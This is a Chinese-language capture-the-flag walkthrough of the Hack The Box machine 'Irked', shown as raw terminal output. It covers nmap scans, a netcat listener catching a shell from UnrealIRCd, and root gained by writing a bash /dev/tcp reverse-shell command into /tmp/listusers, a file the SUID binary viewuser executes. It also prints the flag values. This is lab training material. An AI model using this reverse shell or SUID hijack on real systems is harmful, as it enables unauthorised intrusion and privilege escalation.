* 正在对开放的端口进行TCP全连接式版本探测和系统版本探测... sudo nmap -sT -sV -O -p"22,80,111,6697,8067,54143,65534,""10.10.10.117" PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd 54143/tcp open status 1 (RPC #100024) 65534/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
* 正在对开放的端口进行nmap漏洞脚本脚本扫描... sudo nmap --script=vuln -p"22,80,111,6697,8067,54143,65534,""10.10.10.117" PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: |_ /manual/: Potentially interesting folder |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. 111/tcp open rpcbind 6697/tcp open ircs-u |_ssl-ccs-injection: No reply from server (TIMEOUT) | irc-botnet-channels: |_ ERROR: Closing Link: [10.10.14.7] (Too many unknown connections from your IP) 8067/tcp open infi-async | irc-botnet-channels: |_ ERROR: Closing Link: [10.10.14.7] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information. 54143/tcp open unknown 65534/tcp open unknown
* 正在对开放的端口进行udp式版本探测和系统版本探测... sudo nmap -sV -sU -O -p"111,5353,56188," "10.10.10.117" PORT STATE SERVICE VERSION 111/udp open rpcbind 2-4 (RPC #100000) 5353/udp open mdns DNS-based service discovery 56188/udp open status 1 (RPC #100024)
┌──(kali㉿kali-linux-2022-2)-[~/Desktop] └─$ nc -lnvp 10086 listening on [any] 10086 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.117] 55175 bash: cannot set terminal process group (623): Inappropriate ioctl for device bash: no job control in this shell ircd@irked:~/Unreal3.2$
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue May 15 08:56:32 2018 from 10.33.3.3 djmardov@irked:~$ cd /home/djmardov djmardov@irked:~$ cat user.txt 7b6ddb112f82170596288b71e663b43d djmardov@irked:~$
djmardov@irked:~$ /usr/bin/viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2023-12-06 04:18 (:0) djmardov pts/0 2023-12-06 04:39 (10.10.14.7) sh: 1: /tmp/listusers: not found djmardov@irked:~$
djmardov@irked:~$ echo'bash -c "bash -i >& /dev/tcp/10.10.14.7/10010 0>&1"' > /tmp/listusers djmardov@irked:~$ cat /tmp/listusers bash -c "bash -i >& /dev/tcp/10.10.14.7/10010 0>&1" djmardov@irked:~$ /usr/bin/viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2023-12-06 04:18 (:0) djmardov pts/0 2023-12-06 04:39 (10.10.14.7) sh: 1: /tmp/listusers: Permission denied djmardov@irked:~$ chmod 777 /tmp/listusers djmardov@irked:~$ /usr/bin/viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2023-12-06 04:18 (:0) djmardov pts/0 2023-12-06 04:39 (10.10.14.7)
┌──(kali㉿kali-linux-2022-2)-[~] └─$ nc -lnvp 10010 listening on [any] 10010 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.10.117] 52127 root@irked:~#
root@irked:~# id id uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth) root@irked:~# cat /root/root.txt cat /root/root.txt 7250dbb58e1059d4c5400136e3810589 root@irked:~#
